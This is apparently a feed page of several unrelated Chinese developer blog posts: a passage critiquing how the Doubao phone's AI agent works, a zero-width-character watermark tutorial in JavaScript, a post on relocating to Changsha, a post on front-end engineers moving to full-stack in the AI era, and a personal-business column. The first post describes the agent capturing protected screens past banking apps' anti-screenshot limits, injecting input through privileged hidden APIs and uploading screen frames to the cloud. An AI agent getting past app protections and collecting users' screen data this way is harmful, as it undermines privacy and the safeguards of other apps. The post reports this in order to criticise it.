而且目前看,豆包手机的 AI 能够捕获受保护的视频输出,这意味着它可以绕过银行 App 等应用的反截图/录屏限制 ,因为很多银行 App 很多是通过 DRM(数字版权管理) 或应用内安全设置来防止截屏和录屏:



另外,Agent 在操作手机过程也不是直接使用系统的 Accessibility Service ,而是通过调用系统隐藏API injectInputEvent 来控制手机, AI 通过 INJECT_EVENTS 权限直接注入输入事件来模拟屏幕点击,权限高于无障碍 API,并且是系统签名:



同时,豆包手机在执行自动操作时,会利用一个与物理屏幕分辨率相同的“无头”虚拟屏幕在后台运行,且拥有独立的焦点,不影响用户在前台的操作,这其实就是内存副屏的概念, 虚拟屏幕的画面由 GPU 合成后,对应的缓冲区信息会直接被autoaction消费,再次证实 AI 无需通过截图 API 即可获取屏幕内容 :


image-20251212085211526


最后,豆包手机在自动化操作时,会频繁地(每3到5秒)与 obriccloud.com (字节的服务) 服务器通信,发送约 250K的单帧图片进行推理。


云端在接收图片后,会返回约 1K 的数据,内容是告诉手机下一步要执行的 7 种指令之一,如打开应用、点击、输入、滑动等等,整个自动化 Agent 的推理和路径规划主要在云端完成,云端思考后将执行步骤指令发回本地执行,本地任务很轻:




那么,这整个过程你看下来有什么感觉?如果你是第三方厂商,你会不会同样抵制这种数据收集和处理的行为?特别是绕过现有大家对系统 API 的理解,这种操作途径是否能被友商们接受?



所以目前的这种操作,被微信和淘宝抵制很正常,不管是隐私的边界,还有安全操作的规范,用户对于自己某个产品内容被收集的信息程度,这些都还处于蛮荒状态,数据安全和隐私的边界范围还不可控,并且 Agent 的托管行为,也明显侵犯到了友商们的利益链条


就像是 UP 主说的,AI Agent 的出现将动摇移动互联网的底层商业逻辑——注意力经济,使“注意力”这一硬通货的重要性降低 ,实际上换作另一个概念就是碎片化时间



以前你的碎片化时间都是被各种 App 消费了,比如广告和沉浸引导,但是 Agent 的出现,它明显将这部分时间给托管了,那么数据和时间都被 Agent 服务收集,对于友商们来说,不就是成了单纯的功能性服务商了吗?



另外,说实话像 AutoGLM 这种功能目前的支持,最大受益者不是用户而是灰产,不管是用诈骗还是黄牛,他们都是这种自动化下的第一受益者,所以规范和监管,特别是安全和隐私条款是必须,比如就像 UP 主说的:



豆包手机的 AI 在自动化操作过程中,哪些数据会被发送到云端服务器?



很多人对于 agent 和自动化能力的范畴并不理解,它们可以获取隐私的边界是什么,安全操作的规范是什么,这些都是需要支持和统一边界。



比如 Android 16 实际上官方是有规划 Appfunction Api 的,它的目的是让应用只公布自己开放给 AI 的能力,这样也许边界感更强。



当然,从历史的角度看,Agent 手机势不可挡,就像谷歌自己未来新的 Android PC 系统 Aluminium OS 也是会结合 Gemini Agent 等特点,这是历史进程的必然,但是这个过程中,如何统一规范和监管这是很重要的过程,毕竟 AI 的效应和能力,可比之前更加强,就像 UP 主说的,新的 AI 寡头可能会形成更中心化、更强势的权力,且马太效应更明显


那么,你觉得未来谁家的 Agent 设备会成为新时达的寡头?或者不是手机而是眼镜?


视频链接


b23.tv/pftlDX8


作者:恋猫de小郭
来源:juejin.cn/post/7582469532326920228
收起阅读 »

如何用隐形字符给公司内部文档加盲水印?(抓内鬼神器🤣)

web
大家好😁。 上个月,我们公司的内部敏感文档(PRD)截图,竟然出现在了竞品的群里。 老板大发雷霆,要求技术部彻查:到底是谁泄露出去的?😠 但问题是,文档是纯文本的,截图上也没有任何显式的水印(那种写着员工名字的大黑字,太丑了,产品经理也不让加)。 怎么查? 这...
继续阅读 »

image.png


大家好😁。


上个月,我们公司的内部敏感文档(PRD)截图,竟然出现在了竞品的群里。


老板大发雷霆,要求技术部彻查:到底是谁泄露出去的?😠


但问题是,文档是纯文本的,截图上也没有任何显式的水印(那种写着员工名字的大黑字,太丑了,产品经理也不让加)。


怎么查?


这时候,我默默地打开了我的VS Code,给老板演示了一个技巧


老板,其实泄露的那段文字里,藏着那个人的工号,只是你肉眼看不见。


今天,我就来揭秘这个技术——基于零宽字符(Zero Width Characters)的盲水印技术。学会这招,你也能给你的页面加上隐形追踪器。




先科普一下,什么叫零宽字符?


在Unicode字符集中,有一类神奇的字符。它们存在,但不占用任何宽度,也不显示任何像素


简单说,它们是隐形的。


最常见的几个:



  • \u200b (Zero Width Space):零宽空格

  • \u200c (Zero Width Non-Joiner):零宽非连字符

  • \u200d (Zero Width Joiner):零宽连字符


我们可以在Chrome控制台里试一下:


console.log('A' + '\u200b' + 'B');
// 输出: "AB"
// 看起来和普通的 "AB" 一模一样

但是,如果我们检查它的长度:


console.log(('A' + '\u200b' + 'B').length);
// 输出: 3

看到没?😁


image.png




它的原理是什么?


原理非常简单,就是利用这些隐形字符,把用户的信息(比如工号User_9527),编码进一段正常的文本里。


步骤如下:



  1. 准备密码本 :我们选两个零宽字符,代表二进制的 01



    • \u200b 代表 0

    • \u200c 代表 1

    • 再用 \u200d 作为分割符。



  2. 加密(编码)



    • 把工号字符串(如 9527)转成二进制。

    • 把二进制里的 0/1 替换成对应的零宽字符。

    • 把这串隐形字符串,插入到文档的文字中间。



  3. 解密(解码)



    • 拿到泄露的文本,提取出里面的零宽字符。

    • 把零宽字符还原成 0/1。

    • 把二进制转回字符串,锁定👉这个内鬼。




是不是很神奇?🤣




只需要30行代码实现抓内鬼工具


不废话,直接上代码。你可以直接复制到控制台运行。


加密函数 (Inject Watermark)


// 零宽字符字典
const zeroWidthMap = {
'0': '\u200b', // Zero Width Space
'1': '\u200c', // Zero Width Non-Joiner
};

function textToBinary(text) {
return text.split('').map(char =>
char.charCodeAt(0).toString(2).padStart(8, '0') // 转成8位二进制
).join('');
}

function encodeWatermark(text, secret) {
const binary = textToBinary(secret);
const hiddenStr = binary.split('').map(b => zeroWidthMap[b]).join('');

// 将隐形字符,插入到文本的第一个字符后面
// 你也可以随机分散插入,更难被发现
return text.slice(0, 1) + hiddenStr + text.slice(1);
}

// === 测试 ===
const originalText = "公司机密文档,严禁外传!";
const userWorkId = "User_9527";

const watermarkText = encodeWatermark(originalText, userWorkId);

console.log("原文:", originalText);
console.log("带水印:", watermarkText);
console.log("肉眼看得出区别吗?", originalText === watermarkText); // false
console.log("长度对比:", originalText.length, watermarkText.length);

image.png


image.png


当你把 watermarkText 复制到微信、飞书或者任何地方,那串隐形字符都会跟着一起被复制过去


解密函数的实现


现在,假设我们拿到了泄露出去的这段文字,怎么还原出是谁干的?


// 反向字典
const binaryMap = {
'\u200b': '0',
'\u200c': '1',
};

function decodeWatermark(text) {
// 1. 提取所有零宽字符
const hiddenChars = text.match(/[\u200b\u200c]/g);
if (!hiddenChars) return '未发现水印';

// 2. 转回二进制字符串
const binaryStr = hiddenChars.map(c => binaryMap[c]).join('');

// 3. 二进制转文本
let result = '';
for (let i = 0; i < binaryStr.length; i += 8) {
const byte = binaryStr.slice(i, i + 8);
result += String.fromCharCode(parseInt(byte, 2));
}

return result;
}

// === 测试抓内鬼 ===
const leakerId = decodeWatermark(watermarkText);
console.log("抓到内鬼工号:", leakerId); // 输出: User_9527

微信或者飞书 复制出来的文案 👇


image.png




这种水印能被清除吗?


当然可以,但前提是你知道它的存在


对于不懂技术的普通员工,他们复制粘贴文字时,根本不会意识到自己已经暴露了🤔


如果遇到了懂技术的内鬼,他可能会:



  1. 手动重打一遍文字:这样水印肯定就丢了(但这成本太高)🤷‍♂️

  2. 用脚本过滤:如果他知道你用了零宽字符,写个正则 text.replace(/[\u200b-\u200f]/g, '') 就能清除。


虽然它不是万能的,但它是一种极低成本、极高隐蔽性的防御手段。




技术本身就没什么善恶。


我分享这个技术,不是为了让你去监控谁,而是希望大家多掌握一种防御性编程的一个思路。


在Web开发中,除了明面上的UI和交互,还有很多像零宽字符这样隐秘的角落,藏着一些技巧。


下次如果面试官问你:除了显式的水印,你还有什么办法保护页面内容?


你可以自信地抛出这个方案,绝对能震住全场😁。


谢谢大家.gif


作者:ErpanOmer
来源:juejin.cn/post/7578402574653112372
收起阅读 »

从一线回武汉的真实感受

从北京回武汉差不多六年了,感慨颇多, 谈谈真实感受。 1 IT 公司 我们先把 IT 公司做一个分类整理 : 从表中来看,武汉的 IT 公司确实不算少 ,主要集中于光谷,但我需要强调一下: 1、在大厂的眼里,武汉的定位是第二研发中心,看中的是武汉海量的研发人...
继续阅读 »

从北京回武汉差不多六年了,感慨颇多, 谈谈真实感受。


1 IT 公司


我们先把 IT 公司做一个分类整理 :


从表中来看,武汉的 IT 公司确实不算少 ,主要集中于光谷,但我需要强调一下:


1、在大厂的眼里,武汉的定位是第二研发中心,看中的是武汉海量的研发人力资源以及较低的薪资水平。


2、第二研发中心做的并非核心业务,而且第二研发中心的权限往往不够。所以第二研发中心往往也被称为外包中心,这也是武汉很多朋友都说武汉是外包之城的原因。


3、武汉的技术氛围很差,高水平的研发人员相对较少,无论是管理者还是研发人员和一线相比是有绝对差距的。


接下来,聊聊薪资。


武汉 IT 薪资和一线差距很大,我预估月薪应该是一线的 50% 到 60% 左右,年终奖一般都是 1 ~ 2 个月,少部分公司会有股票,社保/公积金相对较低。


假如你在互联网公司,达到了阿里 P7 左右,我建议暂时不回武汉,因为武汉的薪资、技术氛围真的可能让你失望,还不如在一线多攒钱,等资金充裕了,回武汉更加合适点(一线挣钱,武汉花,很美!)。


2 大武汉


我们经常会将武汉说成“大武汉”,官方数据显示,武汉的行政面积达 8569.15 平方公里,相当于0.52个北京、1.35个上海或 4.29 个深圳。


武汉被长江和众多湖泊自然分割,形成了"三镇鼎立"的独特格局——汉口、武昌、汉阳各自为政又浑然一体。



为了连接这片水域纵横的土地,仅长江上就架起了十余座大桥,每一座都是城市发展的见证者。


回武汉的第一年,每天驱车从金银湖到关山大道,真有一种跋山涉水翻山越岭的感觉。


大江大湖造就了大武汉的壮阔景观,从金银湖的潋滟波光到南湖的静谧秀美,从堤角的市井烟火到欢乐谷的现代活力,处处都是令人惊叹的滨水景观。



  • 城市夜景




  • 长江大桥



3 文化


武汉的城市文化非常多元 ,有的时候,你甚至想不明白,为什么这么多迥异的文化元素集中于同一个城市。


01 码头文化


武汉因水而兴,自古就是“九省通衢”的商贸重镇。


汉口的码头文化塑造了武汉人直爽、讲义气的性格,“不服周”“讲胃口”的方言里,藏着码头工人的豪迈与坚韧。清晨的吉庆街、户部巷,热干面的芝麻香混合着面窝的酥脆,老武汉的一天就在这样的烟火气中开始。



02 过早


武汉人“过早”(吃早餐)的仪式感全国闻名,热干面、豆皮、糊汤粉、牛肉粉……一个月可以不重样 。


热干面


面窝


豆皮


03 科教中心


武汉坐拥武汉大学、华中科技大学等近百所高校,是中国三大科教中心之一。


樱花纷飞的武大、梧桐成荫的华科、文艺范十足的昙华林,让这座城市既有历史的厚重感,又有青春的朝气。


武汉大学



华中科技大学



04 省博物馆


湖北省博物馆是中国最重要的国家级博物馆之一,推荐各位同学来武汉时一定要去看一看。


1、越王勾践剑 : 锋芒依旧的王者之剑



2、曾侯乙编钟:奏响穿越时空的旋律



3、曾侯乙尊盘:青铜铸造的巅峰之作



4 生活


在武汉生活其实很方便,拿医疗资源来讲,我在北京望京看牙经常挂不到号,在武汉不可能发生这种情况,因为我家附近有两家三甲医院,平常看病就医都很方便。


武汉的景点非常多,周末我经常开车带老婆、孩子去东湖、九峰山动物园、植物园等景点游玩。


因为离父母近,也有了更多时间陪陪父母,他们年纪大了,总会感到孤独,我在他们身边,他们也会感觉好一点。


总而言之,相比在北京,我更加有归属感,而且幸福感更强。


有点遗憾的是,在武汉工作,一直感觉很别扭 :



  • 讯飞的业务是 TOG 的项目,很多产品、项目质量堪忧,有的接近劣质的边缘,同时合肥管理人员所体现出的低素质,让我的价值观受到了极大的刺激。

  • 武汉不应该仅仅作为人力资源之城,或者说是外包之城。


我曾经对老婆讲:“我有点后悔离开北京,在武汉,最高的 offer 可以拿到接近 53 w ,要是这六年还在北京,运气好的话,手里的现金可以多个 100 w 吧!”


老婆听了我的幻想,笑了笑,回道:“那可能依依都不可能出生呢”。


我想了想: “也是,现在其实挺幸福的”。



作者:勇哥Java实战
来源:juejin.cn/post/7494836390532136986
收起阅读 »

从美团全栈化看 AI 冲击:前端转全栈,是自救还是必然 🤔🤔🤔

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优...
继续阅读 »

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。



如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。


大厂日报 称,美团履约团队近期正在推行"全栈化"转型。据悉,终端组的部分前端同学在 11 月末左右转到了后端组做全栈(前后端代码一起写),主要是 agent 相关项目。内部打听了一下,团子目前全栈开发还相对靠谱,上线把控比较严格。


这一消息在技术圈引起了广泛关注,也反映了 AI 时代下前端工程师向全栈转型的必然趋势。但更重要的是,我们需要深入思考:AI 到底给前端带来了什么冲击?为什么前端转全栈成为了必然选择?


最近,前端圈里不断有"前端已死"的话语流出。有人说 AI 工具会替代前端开发,有人说低代码平台会让前端失业,还有人说前端工程师的价值正在快速下降。这些声音虽然有些极端,但确实反映了 AI 时代前端面临的真实挑战。


一、AI 对前端的冲击:挑战与机遇并存


1. 代码生成能力的冲击


冲击点:



  • 低复杂度页面生成:AI 工具(如 Claude Code、Cursor)已经能够快速生成常见的 UI 组件、页面布局

  • 重复性工作被替代:表单、列表、详情页等标准化页面,AI 生成效率远超人工

  • 学习门槛降低:新手借助 AI 也能快速产出基础代码,前端"入门红利"消失


影响:
传统前端开发中,大量时间花在"写页面"上。AI 的出现,让这部分工作变得极其高效,甚至可以说,只会写页面的前端工程师,价值正在快速下降。这也正是"前端已死"论调的主要依据之一。


2. 业务逻辑前移的冲击


冲击点:



  • AI Agent 项目激增:如美团案例中的 agent 相关项目,需要前后端一体化开发

  • 实时交互需求:AI 应用的流式响应、实时对话,要求前后端紧密配合

  • 数据流转复杂化:AI 模型调用、数据处理、状态管理,都需要全栈视角


影响:
纯前端工程师在 AI 项目中往往只能负责 UI 层,无法深入业务逻辑。而 AI 项目的核心价值在于业务逻辑和数据处理,这恰恰是后端能力。


3. 技术栈边界的模糊


冲击点:



  • 前后端一体化趋势:Next.js、Remix 等全栈框架兴起,前后端代码同仓库

  • Serverless 架构:边缘函数、API 路由,前端开发者需要理解后端逻辑

  • AI 服务集成:调用 AI API、处理流式数据、管理状态,都需要后端知识


影响:
前端和后端的边界正在消失。只会前端的前端工程师,在 AI 时代会发现自己"够不着"核心业务。


4. 职业发展的天花板


冲击点:



  • 技术深度要求:AI 项目需要理解数据流、算法逻辑、系统架构

  • 业务理解能力:全栈开发者能更好地理解业务全貌,做出技术决策

  • 团队协作效率:全栈开发者减少前后端沟通成本,提升交付效率


影响:
在 AI 时代,只会前端的前端工程师,职业天花板明显。而全栈开发者能够:



  • 独立负责完整功能模块

  • 深入理解业务逻辑

  • 在技术决策中发挥更大作用


二、为什么前端转全栈是必然选择?


1. AI 项目的本质需求


正如美团案例所示,AI 项目(特别是 Agent 项目)的特点:



  • 前后端代码一起写:业务逻辑复杂,需要前后端协同

  • 数据流处理:AI 模型的输入输出、流式响应处理

  • 状态管理复杂:对话状态、上下文管理、错误处理


这些需求,纯前端工程师无法独立完成,必须掌握后端能力。


2. 技术发展的趋势



  • 全栈框架普及:Next.js、Remix、SvelteKit 等,都在推动全栈开发

  • 边缘计算兴起:Cloudflare Workers、Vercel Edge Functions,前端需要写后端逻辑

  • 微前端 + 微服务:前后端一体化部署,降低系统复杂度


3. 市场需求的转变



  • 招聘要求变化:越来越多的岗位要求"全栈能力"

  • 项目交付效率:全栈开发者能独立交付功能,减少沟通成本

  • 技术决策能力:全栈开发者能更好地评估技术方案


三、后端技术栈的选择:Node.js、Python、Go


对于前端转全栈,后端技术栈的选择至关重要。不同技术栈有不同优势,需要根据项目需求选择。


1. Node.js + Nest.js:前端转全栈的最佳起点


优势:



  • 零语言切换:JavaScript/TypeScript 前后端通用

  • 生态统一:npm 包前后端共享,工具链一致

  • 学习成本低:利用现有技能,快速上手

  • AI 集成友好:LangChain.js、OpenAI SDK 等完善支持


适用场景:



  • Web 应用后端

  • 实时应用(WebSocket、SSE)

  • 微服务架构

  • AI Agent 项目(如美团案例)


学习路径:



  1. Node.js 基础(事件循环、模块系统)

  2. Nest.js 框架(模块化、依赖注入)

  3. 数据库集成(TypeORM、Prisma)

  4. AI 服务集成(OpenAI、流式处理)


2. Python + FastAPI:AI 项目的首选


优势:



  • AI 生态最完善:OpenAI、LangChain、LlamaIndex 等原生支持

  • 数据科学能力:NumPy、Pandas 等数据处理库

  • 快速开发:语法简洁,开发效率高

  • 模型部署:TensorFlow、PyTorch 等模型框架


适用场景:



  • AI/ML 项目

  • 数据分析后端

  • 科学计算服务

  • Agent 项目(需要复杂 AI 逻辑)


学习路径:



  1. Python 基础(语法、数据结构)

  2. FastAPI 框架(异步、类型提示)

  3. AI 库集成(OpenAI、LangChain)

  4. 数据处理(Pandas、NumPy)


3. Go:高性能场景的选择


优势:



  • 性能优秀:编译型语言,执行效率高

  • 并发能力强:Goroutine 并发模型

  • 部署简单:单文件部署,资源占用少

  • 云原生友好:Docker、Kubernetes 生态完善


适用场景:



  • 高并发服务

  • 微服务架构

  • 云原生应用

  • 性能敏感场景


学习路径:



  1. Go 基础(语法、并发模型)

  2. Web 框架(Gin、Echo)

  3. 数据库操作(GORM)

  4. 微服务开发


4. 技术栈选择建议


对于前端转全栈的开发者:



  1. 首选 Node.js:如果目标是快速转全栈,Node.js 是最佳选择



    • 学习成本最低

    • 前后端代码复用

    • 适合大多数 Web 应用



  2. 考虑 Python:如果专注 AI 项目



    • AI 生态最完善

    • 适合复杂 AI 逻辑

    • 数据科学能力



  3. 学习 Go:如果追求性能



    • 高并发场景

    • 微服务架构

    • 云原生应用




建议:



  • 第一阶段:选择 Node.js,快速转全栈

  • 第二阶段:根据项目需求,学习 Python 或 Go

  • 长期目标:掌握多种技术栈,根据场景选择


四、总结


AI 时代的到来,给前端带来了深刻冲击:



  1. 代码生成能力:低复杂度页面生成被 AI 替代

  2. 业务逻辑前移:AI 项目需要前后端一体化

  3. 技术边界模糊:前后端边界正在消失

  4. 职业天花板:只会前端的前端工程师,发展受限


前端转全栈,是 AI 时代的必然选择。


对于技术栈选择:



  • Node.js:前端转全栈的最佳起点,学习成本低

  • Python:AI 项目的首选,生态完善

  • Go:高性能场景的选择,云原生友好


正如美团的全栈化实践所示,全栈开发还相对靠谱,关键在于:



  • 选择合适的技术栈

  • 建立严格的开发流程

  • 持续学习和实践


对于前端开发者来说,AI 时代既是挑战,也是机遇。转全栈,不仅能应对 AI 冲击,更能打开职业发展的新空间。那些"前端已死"的声音,其实是在提醒我们:只有不断进化,才能在这个时代立足。


作者:Moment
来源:juejin.cn/post/7581999251368460340
收起阅读 »

10年深漂,放弃高薪,回长沙一年有感

大明哥是 2014 年一个人拖着一个行李箱,单身杀入深圳,然后在深圳一干就是 10 年。 10 年深漂,经历过 4 家公司,有 20+ 人的小公司,也有上万人的大厂。 体验过所有苦逼深漂都体验过的难。坐过能把人挤怀孕的 4 号线,住过一天见不到几个小时太阳的城...
继续阅读 »

大明哥是 2014 年一个人拖着一个行李箱,单身杀入深圳,然后在深圳一干就是 10 年。


10 年深漂,经历过 4 家公司,有 20+ 人的小公司,也有上万人的大厂。


体验过所有苦逼深漂都体验过的难。坐过能把人挤怀孕的 4 号线,住过一天见不到几个小时太阳的城中村,见过可以飞的蟑螂。欣赏过晚上 6 点的晚霞,但更多的是坐晚上 10 点的地铁看一群低头玩手机的同行。


10 年虽然苦、虽然累,但收获还是蛮颇丰的。从 14年的 5.5K 到离职时候的 xxK。但是因为种种原因,于 2023年 9 月份主动离职离开深圳。


回长沙一年,给我的感觉就是:除了钱少和天气外,样样都比深圳好


生活


在回来之前,我首先跟我老婆明确说明了我要休息半年,这半年不允许跟我提任何有关工作的事情,因为在深圳工作了 10 年真的太累,从来没有连续休息超过半个月的假期。哪怕是离职后我也是无缝对接,这家公司周五走,下家公司周一入职。


回来后做的第一件事情就是登出微信、删除所有闹钟、手机设置全天候的免打扰,全心全意,一心一意地陪女儿和玩,在这期间我不想任何事情,也不参与任何社交,就认真玩,不过顺便考了个驾-照。


首先说消费。


有很多人说长沙是钱比深圳少,但消费不比深圳低。其实不然,我来长沙一年了,消费真的比深圳低不少。工作日我一天的消费基本上可以控制在 40 左右,但是在深圳我一天几乎都要 80 左右。对比


长沙深圳
5+5+
15 ~ 2525 ~ 35
10 ~ 15,不加班就回家吃25 ~ 35,几乎天天加班

同时,最近几个月我开始带饭了,周一到超时买个百来块的菜,我一个人可以吃两个星期。


总体上,一个月消费长沙比深圳低 1000 左右(带饭后更低了)。


再就是日常的消费。如果你选择去长沙的商城里面吃,那与深圳其实差不多了多少,当然,奶茶方面会便宜一些。但是,如果你选择去吃长沙的本土菜,那就会便宜不少,我跟我朋友吃饭,人均 50 左右,不会超过 70,选择美团套餐会更加便宜,很多餐馆在支持美团的情况下,选择美团套餐,两个人可以控制在 30 ~ 40 之间。而深圳动不动就人均 100+。


当然,在消费这块,其实节约的钱与少的工资,那就是云泥之别,可忽略不计。


再说生活这方面。


在长沙这边我感觉整体上的幸福感比深圳要强蛮多,用一句话说就是:深圳都在忙着赚钱,而长沙都在忙着吃喝玩乐加洗脚。我说说跟我同龄的一些高中和大学同学,他们一毕业就来长沙或者来长沙比较早,所以买房就比较早,尤其是 16 年以前买的,他们的房贷普遍在 3000 左右,而他们夫妻两的工资税后可以到 20000,所以他们这群人周末经常约着一起耍。举两个例子来看看他们的松弛感:



  • 晚上 10 点多喊我去吃烧烤,我以为就是去某个夜市撸串,谁知道是开车 40+公里,到某座山的山顶撸串 + 喝酒。这是周三,他们上班不上班我不知道,反正我是不上班。

  • 凌晨 3 点多拉我出来撸串


跟他们这群人我算是发现了,大部分的聚会都是临时起意,很少提前约好,主打就是一个随心随意。包括我和同事一样,我们几乎每个月都会出来几次喝酒(我不喜欢喝酒,偶尔喝点啤酒)、撸串,而且每次都是快下班了,某个人提议今晚喝点?完后,各回各家。


上面是好的方面,再说不好的。


长沙最让我受不了的两点就是天气 + 交通。


天气我就不说了,冬天冻死你,夏天热死你。去年完整体验了长沙的整个冬天,是真他妈的冷,虽然我也是湖南人,但确实是把我冻怕了。御寒?不可能的,全靠硬抗。当然,也有神器:火桶子,那是真舒服,我可以在里面躺一整天。


交通,一塌糊涂,尤其是我每天必经的西二环,简直惨不忍睹,尤其是汽车西站那里,一天 24 小时都在堵,尤其是周一和周五,高德地图上面是红的发黑。所以,除非特殊情况,我周一、周五是不开车的,情愿骑 5 公里小电驴去坐地铁。


然后是一大堆违停,硬生生把三车道变成两车道,什么变道不打灯,实线变道,双黄线调头见怪不怪了,还有一大群的小电驴来回穿梭,对我这个新手简直就是恐怖如斯(所以,我开车两个月喜提一血,4S点维修报价 9800+)。


美食我就不说了,简直就是吃货的天堂。


至于玩,我个人觉得长沙市内没有什么好玩的,我反而喜欢去长沙的乡里或者周边玩。所以,我实在是想不通,为什么五一、国庆黄金周长沙是这么火爆,到底火爆在哪里???


还有一点就是,在深圳我时不时就犯个鼻炎,回了长沙一年了我一次都没有,不知道什么原因。


工作


工资,长沙这边的钱是真的少,我现在的年收入连我深圳的三分之一都没有,都快到四分之一了。


当然,我既然选择回来了,就会接受这个低薪,而且在回来之前我就已经做好了心理建设,再加上我没有房贷和车贷,整体上来说,每个月略有结余。


所以,相比以前在深圳赚那么多钱但是无法和自己家人在一起,我更加愿意选择少赚点钱,当然,每个人的选择不同。我也见过很多,受不了长沙的低工资,然后继续回深圳搬砖的。


公司,长沙这边的互联网公司非常少,说是互联网荒漠都不为过。大部分都是传统性的公司,靠国企、外包而活着,就算有些公司说自己是互联网公司,但也不过是披着互联网的羊皮而已。而且在这里绝大多数公司都是野路子的干法,基建差,工作环境也不咋地,福利待遇与深圳的大厂更是没法比,比如社保公积金全按最低档交。年假,换一家公司就清零,我进入公司的时候,我一度以为我有 15 天,一问人事,试用期没有,转正后第一年按 5 天折算,看得我一脸懵逼。


加班,整体上来说,我感觉比深圳加班得要少,当然,大小周,单休的公司也不少,甚至有些公司连五险一金都不配齐,劳动法法外之地名副其实。


同时,这边非常看重学历,一些好的公司,非 985 、211 不要,直接把你门焊死,而这些公司整体上来说工资都很不错,40+ 起码是有的(比如某银行,我的履历完美契合,但就是学历问题而被拒),在长沙能拿这工资,简直就是一种享受,一年就是一套房的首付。


最后,你问我长沙工资这么低,你为什么还选择长沙呢?在工作和生活之间,我只不过选择了生活,仅此而已!!


作者:大明哥09
来源:juejin.cn/post/7457175937736163378
收起阅读 »

当上组长一年里,我保住了俩下属

前言 人类的悲喜并不相通,有人欢喜有人愁,更多的是看热闹。 就在上周,"苟住"群里的一个小伙伴也苟不住了。 在苟友们的"墙裂"要求下,他分享了他的经验,以他的视角看看他是怎么操作的。 1. 组织变动,意外晋升 两年前加入公司,依然是一线搬砖的码农。 干到一...
继续阅读 »

前言


人类的悲喜并不相通,有人欢喜有人愁,更多的是看热闹。


就在上周,"苟住"群里的一个小伙伴也苟不住了。



image.png


在苟友们的"墙裂"要求下,他分享了他的经验,以他的视角看看他是怎么操作的。


1. 组织变动,意外晋升


两年前加入公司,依然是一线搬砖的码农。

干到一年的时候公司空降了一位号称有诸多大厂履历的大佬来带领研发,说是要给公司带来全新的变化,用技术创造价值。

大领导第一件事:抓人事,提效率。

在此背景下,公司不少有能力的研发另谋出处,也许我看起来人畜无害,居然被提拔当了小组长。


2. 领取任务,开启副本


当了半年的小组长,我的领导就叫他小领导吧,给我传达了大领导最新规划:团队需要保持冲劲,而实现的手段就是汰换。

用人话来说就是:



当季度KPI得E的人,让其填写绩效改进目标,若下一个季度再得到E,那么就得走人



我们绩效等级是ABCDE,A是传说中的等级,B是几个人有机会,大部分人是C和D,E是垫底。

而我们组就有两位小伙伴得到了E,分别是小A和小B。

小领导意思是让他们直接走得了,大不了再招人顶上,而我想着毕竟大家共事一场,现在大环境寒气满满,我也是过来人,还想再争取争取。

于是分析了他们的基本资料,他俩特点还比较鲜明。


小A资料:




  1. 96年,单身无房贷

  2. 技术栈较广,技术深度一般,比较粗心

  3. 坚持己见,沟通少,有些时候会按照自己的想法来实现功能



小B资料:




  1. 98年,热恋有房贷

  2. 技术基础较薄弱,但胜在比较认真

  3. 容易犯一些技术理解上的问题



了解了小A和小B的历史与现状后,我分别找他们沟通,主要是统一共识:




  1. 你是否认可本次绩效评估结果?

  2. 你是否认可绩效改进的点与风险点(未达成被裁)?

  3. 你是否还愿意在这家公司苟?



最重要是第三点,开诚布公,若是都不想苟了,那就保持现状,不要浪费大家时间,我也不想做无用功。

对于他们,分别做了提升策略:


对于小A:




  1. 每次开启需求前都要求其认真阅读文档,不清楚的地方一定要做记录并向相关人确认

  2. 遇到比较复杂的需求,我也会一起参与其中梳理技术方案

  3. 需求开发完成后,CR代码看是否与技术方案设计一致,若有出入需要记录下来,后续复盘为什么

  4. 给足时间,保证充分自测



对于小B:




  1. 每次需求多给点时间,多出的时间用来学习技术、熟悉技术

  2. 要求其将每个需求拆分为尽可能小的点,涉及到哪些技术要想清楚、弄明白

  3. 鼓励他不懂就要问,我也随时给他解答疑难问题,并说出一些原理让他感兴趣的话可以继续深究

  4. 分配给他一些技术调研类的任务,提升技术兴趣点与成就感



3. 结束?还是是另一个开始?


半年后...


好消息是:小A、小B的考核结果是D,达成了绩效改进的目标。

坏消息是:据说新的一轮考核算法会变化,宗旨是确保团队血液新鲜(每年至少得置换10%的人)。


随缘吧,我尽力了,也许下一个是我呢?



image-20250730002436026.png


作者:小鱼人爱编程
来源:juejin.cn/post/7532334931021824034
收起阅读 »

2小时个人公司:一个全栈开发的精益创业之路

一、前言 这不是一个单纯的技术教学专栏,而是一个 “技术人商业实践手记” 。记录一个全栈开发者如何用“每天2小时”的投入,系统性地从0到1打造一个能产生持续价值(无论是金钱、影响力还是个人成长)的“个人公司”。 二、为什么投入难有回报? 相信许多技术人都有...
继续阅读 »

一、前言



这不是一个单纯的技术教学专栏,而是一个 “技术人商业实践手记” 。记录一个全栈开发者如何用“每天2小时”的投入,系统性地从0到1打造一个能产生持续价值(无论是金钱、影响力还是个人成长)的“个人公司”。



二、为什么投入难有回报?


相信许多技术人都有过类似经历:



  • 激情开始:某个阶段干劲满满,规划通过技术项目增加收入

  • 目标宏大:开发开源系统、搭建博客、编写组件库,期待财务自由

  • 现实骨感:投入大量时间后,发现自己仍在原地踏步


我的亲身教训


我尝试过几乎所有主流博客方案:



  • WordPress → Hexo → VuePress/VitePress → Halo


但结果都是:上线时分享给朋友,然后... 再无下文。这完全背离了建站的初衷:打造个人影响力,为专业机会铺路
所谓的“知识整理”和“自我提升”,很多时候只是自我安慰的借口。


三、为什么创建这个专栏?


一个清醒的认知


真正有效的盈利方法很少有人会无偿分享。


看看最近的AI创业热潮:



  • 如果AI创业真的那么赚钱,为什么有人选择教学而不是扩大规模?

  • 答案很现实:教学比实际创业更有利可图


坦诚的价值交换


您可能会问:你和他们有什么不同?


我坦然承认:这个专栏有我个人的目标。但区别在于:



  • 我追求价值互换,而非单向收割

  • 您获得的是我真实的实战经验

  • 我获得的是关注度和影响力积累

  • 未来可能开启付费模式,但规则透明


这是一种基于相互尊重的成长模式。


核心价值主张


传统模式我的方式
隐藏真实目的坦诚价值交换
过度承诺结果分享真实过程
